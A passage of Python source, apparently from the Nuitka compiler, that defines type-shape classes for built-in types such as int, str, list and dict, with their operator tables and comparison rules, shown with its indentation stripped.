if right_shape.getTypeName() is not None:
return operation_result_bool_noescape
return _getComparisonEqShapeGeneric(self, right_shape)
def getComparisonNeqShape(self, right_shape):
return self.getComparisonEqShape(right_shape)
@staticmethod
def getOperationUnaryReprEscape():
return ControlFlowDescriptionNoEscape
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(None, attribute_name)
tshape_none = ShapeTypeNoneType()
class ShapeTypeBool(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
typical_value = True
@staticmethod
def getTypeName():
return "bool"
@staticmethod
def getCType():
return CTypeNuitkaBoolEnum
add_shapes = add_shapes_bool
sub_shapes = sub_shapes_bool
mult_shapes = mult_shapes_bool
floordiv_shapes = floordiv_shapes_bool
truediv_shapes = truediv_shapes_bool
olddiv_shapes = olddiv_shapes_bool
mod_shapes = mod_shapes_bool
divmod_shapes = divmod_shapes_bool
pow_shapes = pow_shapes_bool
bitor_shapes = bitor_shapes_bool
bitand_shapes = bitand_shapes_bool
bitxor_shapes = bitxor_shapes_bool
lshift_shapes = lshift_shapes_bool
rshift_shapes = rshift_shapes_bool
matmult_shapes = matmult_shapes_bool
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (
tshape_int,
tshape_long,
tshape_int_or_long,
tshape_bool,
tshape_float,
):
return operation_result_bool_noescape
if right_shape is tshape_int_or_long_derived:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(True, attribute_name)
tshape_bool = ShapeTypeBool()
class ShapeTypeInt(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
typical_value = 7
@staticmethod
def getTypeName():
return "int"
helper_code = "INT" if python_version < 0x300 else "LONG"
add_shapes = add_shapes_int
sub_shapes = sub_shapes_int
mult_shapes = mult_shapes_int
floordiv_shapes = floordiv_shapes_int
truediv_shapes = truediv_shapes_int
olddiv_shapes = olddiv_shapes_int
mod_shapes = mod_shapes_int
divmod_shapes = divmod_shapes_int
pow_shapes = pow_shapes_int
bitor_shapes = bitor_shapes_int
bitand_shapes = bitand_shapes_int
bitxor_shapes = bitxor_shapes_int
lshift_shapes = lshift_shapes_int
rshift_shapes = rshift_shapes_int
matmult_shapes = matmult_shapes_int
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (
tshape_int,
tshape_long,
tshape_int_or_long,
tshape_bool,
tshape_float,
):
return operation_result_bool_noescape
if right_shape in (
tshape_long_derived,
tshape_int_or_long_derived,
tshape_float_derived,
):
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(7, attribute_name)
tshape_int = ShapeTypeInt()
if python_version < 0x300:
_the_typical_long_value = long(7) # pylint: disable=I0021,undefined-variable
class ShapeTypeLong(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
typical_value = _the_typical_long_value
@staticmethod
def getTypeName():
return "long"
helper_code = "LONG" if python_version < 0x300 else "INVALID"
add_shapes = add_shapes_long
sub_shapes = sub_shapes_long
mult_shapes = mult_shapes_long
floordiv_shapes = floordiv_shapes_long
truediv_shapes = truediv_shapes_long
olddiv_shapes = olddiv_shapes_long
mod_shapes = mod_shapes_long
divmod_shapes = divmod_shapes_long
pow_shapes = pow_shapes_long
bitor_shapes = bitor_shapes_long
bitand_shapes = bitand_shapes_long
bitxor_shapes = bitxor_shapes_long
lshift_shapes = lshift_shapes_long
rshift_shapes = rshift_shapes_long
matmult_shapes = matmult_shapes_long
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (
tshape_int,
tshape_long,
tshape_int_or_long,
tshape_bool,
tshape_float,
):
return operation_result_bool_noescape
if right_shape in (tshape_long_derived, tshape_int_or_long_derived):
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(_the_typical_long_value, attribute_name)
tshape_long = ShapeTypeLong()
class ShapeTypeLongDerived(ShapeTypeUnknown):
@staticmethod
def getTypeName():
return None
tshape_long_derived = ShapeTypeLongDerived()
class ShapeTypeIntOrLong(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
if isExperimental("nuitka_ilong"):
@staticmethod
def getCType():
return CTypeNuitkaIntOrLongStruct
@staticmethod
def emitAlternatives(emit):
emit(tshape_int)
emit(tshape_long)
add_shapes = add_shapes_intorlong
sub_shapes = sub_shapes_intorlong
mult_shapes = mult_shapes_intorlong
floordiv_shapes = floordiv_shapes_intorlong
truediv_shapes = truediv_shapes_intorlong
olddiv_shapes = olddiv_shapes_intorlong
mod_shapes = mod_shapes_intorlong
divmod_shapes = divmod_shapes_intorlong
pow_shapes = pow_shapes_intorlong
bitor_shapes = bitor_shapes_intorlong
bitand_shapes = bitand_shapes_intorlong
bitxor_shapes = bitxor_shapes_intorlong
lshift_shapes = lshift_shapes_intorlong
rshift_shapes = rshift_shapes_intorlong
matmult_shapes = matmult_shapes_intorlong
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (
tshape_int,
tshape_long,
tshape_int_or_long,
tshape_bool,
tshape_float,
):
return operation_result_bool_noescape
if right_shape is tshape_int_or_long_derived:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(7, attribute_name) and hasattr(
_the_typical_long_value, attribute_name
)
tshape_int_or_long = ShapeTypeIntOrLong()
else:
tshape_long = None
tshape_long_derived = None
tshape_int_or_long = tshape_int
# TODO: Make this Python2 only, and use ShapeTypeIntDerived for Python3
class ShapeTypeIntOrLongDerived(ShapeTypeUnknown):
pass
tshape_int_or_long_derived = ShapeTypeIntOrLongDerived()
class ShapeTypeFloat(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
typical_value = 0.1
@staticmethod
def getTypeName():
return "float"
helper_code = "FLOAT"
add_shapes = add_shapes_float
sub_shapes = sub_shapes_float
mult_shapes = mult_shapes_float
floordiv_shapes = floordiv_shapes_float
truediv_shapes = truediv_shapes_float
olddiv_shapes = olddiv_shapes_float
mod_shapes = mod_shapes_float
divmod_shapes = divmod_shapes_float
pow_shapes = pow_shapes_float
bitor_shapes = bitor_shapes_float
bitand_shapes = bitand_shapes_float
bitxor_shapes = bitxor_shapes_float
lshift_shapes = lshift_shapes_float
rshift_shapes = rshift_shapes_float
matmult_shapes = matmult_shapes_float
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (
tshape_float,
tshape_long,
tshape_int,
tshape_int_or_long,
tshape_bool,
):
return operation_result_bool_noescape
if right_shape is tshape_float_derived:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
tshape_float = ShapeTypeFloat()
class ShapeTypeFloatDerived(ShapeTypeUnknown):
pass
tshape_float_derived = ShapeTypeFloatDerived()
class ShapeTypeComplex(ShapeNotContainerMixin, ShapeNumberMixin, ShapeBase):
typical_value = 0j
@staticmethod
def getTypeName():
return "complex"
add_shapes = add_shapes_complex
sub_shapes = sub_shapes_complex
mult_shapes = mult_shapes_complex
floordiv_shapes = floordiv_shapes_complex
truediv_shapes = truediv_shapes_complex
olddiv_shapes = olddiv_shapes_complex
mod_shapes = mod_shapes_complex
divmod_shapes = divmod_shapes_complex
pow_shapes = pow_shapes_complex
bitor_shapes = bitor_shapes_complex
bitand_shapes = bitand_shapes_complex
bitxor_shapes = bitxor_shapes_complex
lshift_shapes = lshift_shapes_complex
rshift_shapes = rshift_shapes_complex
matmult_shapes = matmult_shapes_complex
tshape_complex = ShapeTypeComplex()
class ShapeTypeTuple(ShapeContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = ()
@staticmethod
def getTypeName():
return "tuple"
helper_code = "TUPLE"
@staticmethod
def getShapeIter():
return tshape_tuple_iterator
@staticmethod
def hasShapeIndexLookup():
return True
add_shapes = add_shapes_tuple
sub_shapes = sub_shapes_tuple
mult_shapes = mult_shapes_tuple
floordiv_shapes = floordiv_shapes_tuple
truediv_shapes = truediv_shapes_tuple
olddiv_shapes = olddiv_shapes_tuple
mod_shapes = mod_shapes_tuple
divmod_shapes = divmod_shapes_tuple
pow_shapes = pow_shapes_tuple
bitor_shapes = bitor_shapes_tuple
bitand_shapes = bitand_shapes_tuple
bitxor_shapes = bitxor_shapes_tuple
lshift_shapes = lshift_shapes_tuple
rshift_shapes = rshift_shapes_tuple
matmult_shapes = matmult_shapes_tuple
def getComparisonLtShape(self, right_shape):
# Need to consider value shape for this.
return operation_result_unknown
tshape_tuple = ShapeTypeTuple()
class ShapeTypeNamedTuple(ShapeContainerMixin, ShapeNotNumberMixin, ShapeBase):
@staticmethod
def getTypeName():
return "namedtuple"
helper_code = "NAMEDTUPLE"
@staticmethod
def getShapeIter():
return tshape_tuple_iterator
@staticmethod
def hasShapeIndexLookup():
return True
# TODO: Unsupported operation would be different, account for that.
add_shapes = add_shapes_tuple
sub_shapes = sub_shapes_tuple
mult_shapes = mult_shapes_tuple
floordiv_shapes = floordiv_shapes_tuple
truediv_shapes = truediv_shapes_tuple
olddiv_shapes = olddiv_shapes_tuple
mod_shapes = mod_shapes_tuple
divmod_shapes = divmod_shapes_tuple
pow_shapes = pow_shapes_tuple
bitor_shapes = bitor_shapes_tuple
bitand_shapes = bitand_shapes_tuple
bitxor_shapes = bitxor_shapes_tuple
lshift_shapes = lshift_shapes_tuple
rshift_shapes = rshift_shapes_tuple
matmult_shapes = matmult_shapes_tuple
def getComparisonLtShape(self, right_shape):
# Need to consider value shape for this.
return operation_result_unknown
tshape_namedtuple = ShapeTypeNamedTuple()
class ShapeTypeTupleIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_tuple.typical_value)
@staticmethod
def getTypeName():
return "tupleiterator" if python_version < 0x300 else "tuple_iterator"
@staticmethod
def getIteratedShape():
return tshape_tuple
tshape_tuple_iterator = ShapeTypeTupleIterator()
class ShapeTypeList(ShapeContainerMutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = []
@staticmethod
def getTypeName():
return "list"
helper_code = "LIST"
@staticmethod
def getShapeIter():
return tshape_list_iterator
@staticmethod
def hasShapeIndexLookup():
return True
add_shapes = add_shapes_list
sub_shapes = sub_shapes_list
mult_shapes = mult_shapes_list
floordiv_shapes = floordiv_shapes_list
truediv_shapes = truediv_shapes_list
olddiv_shapes = olddiv_shapes_list
mod_shapes = mod_shapes_list
divmod_shapes = divmod_shapes_list
pow_shapes = pow_shapes_list
bitor_shapes = bitor_shapes_list
bitand_shapes = bitand_shapes_list
bitxor_shapes = bitxor_shapes_list
lshift_shapes = lshift_shapes_list
rshift_shapes = rshift_shapes_list
matmult_shapes = matmult_shapes_list
iadd_shapes = iadd_shapes_list
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
# Need to consider value shape for this.
if right_shape in (tshape_list, tshape_tuple):
return operation_result_bool_elementbased
if right_shape is tshape_xrange:
if python_version < 0x300:
return operation_result_bool_elementbased
else:
# TODO: Actually unorderable, but this requires making a
# difference with "=="
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
tshape_list = ShapeTypeList()
class ShapeTypeListIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_list.typical_value)
@staticmethod
def getTypeName():
return "listiterator" if python_version < 0x300 else "list_iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_list_iterator = ShapeTypeListIterator()
class ShapeTypeSet(ShapeContainerMutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = set()
@staticmethod
def getTypeName():
return "set"
@staticmethod
def getShapeIter():
return tshape_set_iterator
@staticmethod
def hasShapeIndexLookup():
return False
add_shapes = add_shapes_set
sub_shapes = sub_shapes_set
mult_shapes = mult_shapes_set
floordiv_shapes = floordiv_shapes_set
truediv_shapes = truediv_shapes_set
olddiv_shapes = olddiv_shapes_set
mod_shapes = mod_shapes_set
divmod_shapes = divmod_shapes_set
pow_shapes = pow_shapes_set
bitor_shapes = bitor_shapes_set
bitand_shapes = bitand_shapes_set
bitxor_shapes = bitxor_shapes_set
lshift_shapes = lshift_shapes_set
rshift_shapes = rshift_shapes_set
matmult_shapes = matmult_shapes_set
def getComparisonLtShape(self, right_shape):
# Need to consider value shape for this.
return operation_result_unknown
tshape_set = ShapeTypeSet()
class ShapeTypeSetIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_set.typical_value)
@staticmethod
def getTypeName():
return "setiterator" if python_version < 0x300 else "set_iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_set_iterator = ShapeTypeSetIterator()
class ShapeTypeFrozenset(ShapeContainerImmutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = frozenset()
@staticmethod
def getTypeName():
return "frozenset"
@staticmethod
def getShapeIter():
return tshape_set_iterator
@staticmethod
def hasShapeIndexLookup():
return False
add_shapes = add_shapes_frozenset
sub_shapes = sub_shapes_frozenset
mult_shapes = mult_shapes_frozenset
floordiv_shapes = floordiv_shapes_frozenset
truediv_shapes = truediv_shapes_frozenset
olddiv_shapes = olddiv_shapes_frozenset
mod_shapes = mod_shapes_frozenset
divmod_shapes = divmod_shapes_frozenset
pow_shapes = pow_shapes_frozenset
bitor_shapes = bitor_shapes_frozenset
bitand_shapes = bitand_shapes_frozenset
bitxor_shapes = bitxor_shapes_frozenset
lshift_shapes = lshift_shapes_frozenset
rshift_shapes = rshift_shapes_frozenset
matmult_shapes = matmult_shapes_frozenset
tshape_frozenset = ShapeTypeFrozenset()
_the_empty_dict = {}
class ShapeTypeDict(ShapeContainerMutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = _the_empty_dict
@staticmethod
def getTypeName():
return "dict"
@staticmethod
def getShapeIter():
return tshape_dict_iterator
@staticmethod
def hasShapeIndexLookup():
return False
add_shapes = add_shapes_dict
sub_shapes = sub_shapes_dict
mult_shapes = mult_shapes_dict
floordiv_shapes = floordiv_shapes_dict
truediv_shapes = truediv_shapes_dict
olddiv_shapes = olddiv_shapes_dict
mod_shapes = mod_shapes_dict
divmod_shapes = divmod_shapes_dict
pow_shapes = pow_shapes_dict
bitor_shapes = bitor_shapes_dict
bitand_shapes = bitand_shapes_dict
bitxor_shapes = bitxor_shapes_dict
lshift_shapes = lshift_shapes_dict
rshift_shapes = rshift_shapes_dict
matmult_shapes = matmult_shapes_dict
ibitor_shapes = ibitor_shapes_dict
def getComparisonLtShape(self, right_shape):
# Need to consider value shape for this
# TODO: Could return bool with annotation that exception is still
# possible..
return operation_result_unknown
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(_the_empty_dict, attribute_name)
tshape_dict = ShapeTypeDict()
class ShapeTypeDictIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_dict.typical_value)
@staticmethod
def getTypeName():
return (
"dictionary-keyiterator" if python_version < 0x300 else "dictkey_iterator"
)
@staticmethod
def hasShapeIndexLookup():
return False
tshape_dict_iterator = ShapeTypeDictIterator()
class ShapeTypeStr(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = "a"
@staticmethod
def getTypeName():
return "str"
helper_code = "STR" if python_version < 0x300 else "UNICODE"
# Not a container, but has these.
@staticmethod
def hasShapeSlotIter():
return True
@staticmethod
def hasShapeSlotLen():
return True
@staticmethod
def hasShapeSlotContains():
return True
# Not a number, but has these.
@staticmethod
def hasShapeSlotInt():
return True
@staticmethod
def hasShapeSlotLong():
return True
@staticmethod
def hasShapeSlotFloat():
return True
@staticmethod
def hasShapeSlotComplex():
return True
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def getShapeIter():
return tshape_str_iterator
@staticmethod
def hasShapeIndexLookup():
return True
@staticmethod
def hasShapeTrustedAttributes():
return True
add_shapes = add_shapes_str
sub_shapes = sub_shapes_str
mult_shapes = mult_shapes_str
floordiv_shapes = floordiv_shapes_str
truediv_shapes = truediv_shapes_str
olddiv_shapes = olddiv_shapes_str
mod_shapes = mod_shapes_str
divmod_shapes = divmod_shapes_str
pow_shapes = pow_shapes_str
bitor_shapes = bitor_shapes_str
bitand_shapes = bitand_shapes_str
bitxor_shapes = bitxor_shapes_str
lshift_shapes = lshift_shapes_str
rshift_shapes = rshift_shapes_str
matmult_shapes = matmult_shapes_str
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape is tshape_str:
return operation_result_bool_noescape
if right_shape is tshape_str_derived:
return operation_result_unknown
if right_shape is tshape_bytearray:
if python_version < 0x300:
return operation_result_bool_noescape
else:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr("a", attribute_name)
tshape_str = ShapeTypeStr()
class TypeShapeStrDerived(ShapeTypeUnknown):
pass
tshape_str_derived = TypeShapeStrDerived()
class ShapeTypeStrIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_str.typical_value)
@staticmethod
def getTypeName():
return "iterator" if python_version < 0x300 else "str_iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_str_iterator = ShapeTypeStrIterator()
if python_version < 0x300:
class ShapeTypeUnicode(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = the_empty_unicode
@staticmethod
def getTypeName():
return "unicode"
helper_code = "UNICODE"
# Not a container, but has these.
@staticmethod
def hasShapeSlotIter():
return True
@staticmethod
def hasShapeSlotLen():
return True
@staticmethod
def hasShapeSlotContains():
return True
# Not a number, but has these.
@staticmethod
def hasShapeSlotInt():
return True
@staticmethod
def hasShapeSlotLong():
return True
@staticmethod
def hasShapeSlotFloat():
return True
@staticmethod
def hasShapeSlotComplex():
return True
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def getShapeIter():
return tshape_unicode_iterator
@staticmethod
def hasShapeIndexLookup():
return True
@staticmethod
def hasShapeTrustedAttributes():
return True
add_shapes = add_shapes_unicode
sub_shapes = sub_shapes_unicode
mult_shapes = mult_shapes_unicode
floordiv_shapes = floordiv_shapes_unicode
truediv_shapes = truediv_shapes_unicode
olddiv_shapes = olddiv_shapes_unicode
mod_shapes = mod_shapes_unicode
divmod_shapes = divmod_shapes_unicode
pow_shapes = pow_shapes_unicode
bitor_shapes = bitor_shapes_unicode
bitand_shapes = bitand_shapes_unicode
bitxor_shapes = bitxor_shapes_unicode
lshift_shapes = lshift_shapes_unicode
rshift_shapes = rshift_shapes_unicode
matmult_shapes = matmult_shapes_unicode
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape is tshape_unicode:
return operation_result_bool_noescape
if right_shape is tshape_unicode_derived:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(the_empty_unicode, attribute_name)
tshape_unicode = ShapeTypeUnicode()
class ShapeTypeUnicodeDerived(ShapeTypeUnknown):
pass
tshape_unicode_derived = ShapeTypeUnicodeDerived()
class ShapeTypeUnicodeIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_unicode.typical_value)
@staticmethod
def getTypeName():
return "iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_unicode_iterator = ShapeTypeUnicodeIterator()
else:
tshape_unicode = tshape_str
tshape_unicode_iterator = tshape_str_iterator
tshape_unicode_derived = tshape_str_derived
if python_version < 0x300:
class ShapeTypeStrOrUnicode(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
@staticmethod
def emitAlternatives(emit):
emit(tshape_str)
emit(tshape_unicode)
@staticmethod
def hasShapeSlotIter():
return True
@staticmethod
def hasShapeSlotLen():
return True
@staticmethod
def hasShapeSlotContains():
return True
@staticmethod
def hasShapeSlotInt():
return True
@staticmethod
def hasShapeSlotLong():
return True
@staticmethod
def hasShapeSlotFloat():
return True
@staticmethod
def hasShapeSlotComplex():
return True
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def hasShapeIndexLookup():
return True
@staticmethod
def hasShapeTrustedAttributes():
return True
# TODO: There seem to be missing a few here.
add_shapes = add_shapes_strorunicode
sub_shapes = sub_shapes_strorunicode
mult_shapes = mult_shapes_strorunicode
bitor_shapes = bitor_shapes_strorunicode
bitand_shapes = bitand_shapes_strorunicode
bitxor_shapes = bitxor_shapes_strorunicode
lshift_shapes = lshift_shapes_strorunicode
rshift_shapes = rshift_shapes_strorunicode
matmult_shapes = matmult_shapes_strorunicode
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr("a", attribute_name) and hasattr(
the_empty_unicode, attribute_name
)
tshape_str_or_unicode = ShapeTypeStrOrUnicode()
class ShapeTypeStrOrUnicodeDerived(ShapeTypeUnknown):
pass
tshape_str_or_unicode_derived = ShapeTypeStrOrUnicodeDerived()
else:
tshape_str_or_unicode = tshape_str
tshape_str_or_unicode_derived = tshape_str_derived
if python_version >= 0x300:
class ShapeTypeBytes(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = b"b"
@staticmethod
def getTypeName():
return "bytes"
helper_code = "BYTES"
# Not a container, but has these.
@staticmethod
def hasShapeSlotIter():
return True
@staticmethod
def hasShapeSlotLen():
return True
@staticmethod
def hasShapeSlotContains():
return True
# Not a number, but has these.
@staticmethod
def hasShapeSlotInt():
return True
@staticmethod
def hasShapeSlotLong():
return True
@staticmethod
def hasShapeSlotFloat():
return True
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def getShapeIter():
return tshape_bytes_iterator
@staticmethod
def hasShapeIndexLookup():
return True
@staticmethod
def hasShapeTrustedAttributes():
return True
add_shapes = add_shapes_bytes
sub_shapes = sub_shapes_bytes
mult_shapes = mult_shapes_bytes
floordiv_shapes = floordiv_shapes_bytes
truediv_shapes = truediv_shapes_bytes
olddiv_shapes = olddiv_shapes_bytes
mod_shapes = mod_shapes_bytes
divmod_shapes = divmod_shapes_bytes
pow_shapes = pow_shapes_bytes
bitor_shapes = bitor_shapes_bytes
bitand_shapes = bitand_shapes_bytes
bitxor_shapes = bitxor_shapes_bytes
lshift_shapes = lshift_shapes_bytes
rshift_shapes = rshift_shapes_bytes
matmult_shapes = matmult_shapes_bytes
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape is tshape_bytes:
return operation_result_bool_noescape
if right_shape is tshape_bytes_derived:
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(b"b", attribute_name)
tshape_bytes = ShapeTypeBytes()
class TypeShapeBytesDerived(ShapeTypeUnknown):
pass
tshape_bytes_derived = TypeShapeBytesDerived()
class TypeShapeBytesIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_bytes.typical_value)
@staticmethod
def getTypeName():
return "bytes_iterator"
tshape_bytes_iterator = TypeShapeBytesIterator()
else:
# Shouldn't happen with Python2
tshape_bytes = None
tshape_bytes_iterator = None
tshape_bytes_derived = None
_the_typical_bytearray_value = bytearray(b"b")
class ShapeTypeBytearray(ShapeContainerMutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = _the_typical_bytearray_value
@staticmethod
def getTypeName():
return "bytearray"
@staticmethod
def getShapeIter():
return tshape_bytearray_iterator
@staticmethod
def hasShapeIndexLookup():
return True
add_shapes = add_shapes_bytearray
sub_shapes = sub_shapes_bytearray
mult_shapes = mult_shapes_bytearray
floordiv_shapes = floordiv_shapes_bytearray
truediv_shapes = truediv_shapes_bytearray
olddiv_shapes = olddiv_shapes_bytearray
mod_shapes = mod_shapes_bytearray
divmod_shapes = divmod_shapes_bytearray
pow_shapes = pow_shapes_bytearray
bitor_shapes = bitor_shapes_bytearray
bitand_shapes = bitand_shapes_bytearray
bitxor_shapes = bitxor_shapes_bytearray
lshift_shapes = lshift_shapes_bytearray
rshift_shapes = rshift_shapes_bytearray
matmult_shapes = matmult_shapes_bytearray
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape in (tshape_bytearray, tshape_bytes):
return operation_result_bool_noescape
if right_shape is tshape_str:
if python_version < 0x300:
return operation_result_bool_noescape
else:
# TODO: Exception actually for static optimization.
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(_the_typical_bytearray_value, attribute_name)
tshape_bytearray = ShapeTypeBytearray()
class ShapeTypeBytearrayIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_bytearray.typical_value)
@staticmethod
def getTypeName():
return "bytearray_iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_bytearray_iterator = ShapeTypeBytearrayIterator()
class ShapeTypeEllipsis(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = Ellipsis
@staticmethod
def getTypeName():
return "ellipsis"
@staticmethod
def hasShapeSlotHash():
return True
@staticmethod
def hasShapeIndexLookup():
return False
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(Ellipsis, attribute_name)
tshape_ellipsis = ShapeTypeEllipsis()
_the_typical_slice_value = slice(7)
class ShapeTypeSlice(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = _the_typical_slice_value
@staticmethod
def getTypeName():
return "slice"
@staticmethod
def hasShapeSlotHash():
return False
@staticmethod
def hasShapeIndexLookup():
return False
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(_the_typical_slice_value, attribute_name)
tshape_slice = ShapeTypeSlice()
_the_typical_xrange_value = (
xrange(1) # pylint: disable=I0021,undefined-variable
if python_version < 0x300
else range(1)
)
class ShapeTypeXrange(ShapeContainerImmutableMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = _the_typical_xrange_value
@staticmethod
def getTypeName():
return "xrange" if python_version < 0x300 else "range"
@staticmethod
def getShapeIter():
return tshape_xrange_iterator
@staticmethod
def hasShapeIndexLookup():
return True
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
# TODO: Maybe split in two shapes, they are quite different in the
# end when it comes to operations.
if python_version < 0x300:
# Need to consider value shape for this.
if right_shape in (tshape_list, tshape_tuple):
return operation_result_bool_elementbased
if right_shape is tshape_xrange:
# TODO: This is value escaping, but that doesn't really apply
return operation_result_bool_elementbased
else:
# TODO: Actually unorderable, but this requires making a
# difference with "=="
return operation_result_unknown
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(_the_typical_xrange_value, attribute_name)
tshape_xrange = ShapeTypeXrange()
class ShapeTypeXrangeIterator(ShapeIteratorMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = iter(tshape_xrange.typical_value)
@staticmethod
def getTypeName():
return "rangeiterator" if python_version < 0x300 else "range_iterator"
@staticmethod
def hasShapeIndexLookup():
return False
tshape_xrange_iterator = ShapeTypeXrangeIterator()
class ShapeTypeType(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = int
@staticmethod
def getTypeName():
return "type"
@staticmethod
def hasShapeSlotHash():
return True
def getComparisonLtShape(self, right_shape):
if right_shape is tshape_unknown:
return operation_result_unknown
if right_shape is tshape_type:
return tshape_unknown, ControlFlowDescriptionNoEscape
return _getComparisonLtShapeGeneric(self, right_shape)
@staticmethod
def isKnownToHaveAttribute(attribute_name):
return hasattr(int, attribute_name)
tshape_type = ShapeTypeType()
class ShapeTypeModule(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
typical_value = __import__("sys")
@staticmethod
def getTypeName():
return "module"
@staticmethod
def hasShapeModule():
return True
@staticmethod
def hasShapeSlotHash():
return True
tshape_module = ShapeTypeModule()
class ShapeTypeFunction(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
# TODO: Add typical value.
@staticmethod
def getTypeName():
return "function"
@staticmethod
def hasShapeSlotHash():
return True
tshape_function = ShapeTypeFunction()
class ShapeTypeBuiltinModule(ShapeTypeModule):
typical_value = __import__("_ctypes")
tshape_module_builtin = ShapeTypeBuiltinModule()
class ShapeTypeFile(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
# TODO: That need not really be a file, find something better.
typical_value = __import__("sys").stdout
@staticmethod
def getTypeName():
return "file"
# Files are self-iterators.
@staticmethod
def hasShapeSlotIter():
return True
@staticmethod
def hasShapeSlotNext():
return True
@staticmethod
def hasShapeSlotContains():
return True
@staticmethod
def hasShapeSlotHash():
return True
tshape_file = ShapeTypeFile()
class ShapeTypeStaticmethod(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
# TODO: Add typical value.
@staticmethod
def getTypeName():
return "staticmethod"
# TODO: These probably reject all kinds of operations.
tshape_staticmethod = ShapeTypeStaticmethod()
class ShapeTypeClassmethod(ShapeNotContainerMixin, ShapeNotNumberMixin, ShapeBase):
# TODO: Add typical value.
@staticmethod
def getTypeName():
return "classmethod"
# TODO: These probably reject all kinds of operations.
tshape_classmethod = ShapeTypeClassmethod()
# Prepared tuples to save creating return value tuples:
operation_result_bool_noescape = tshape_bool, ControlFlowDescriptionNoEscape
operation_result_float_noescape = tshape_float, ControlFlowDescriptionNoEscape
operation_result_int_noescape = tshape_int, ControlFlowDescriptionNoEscape
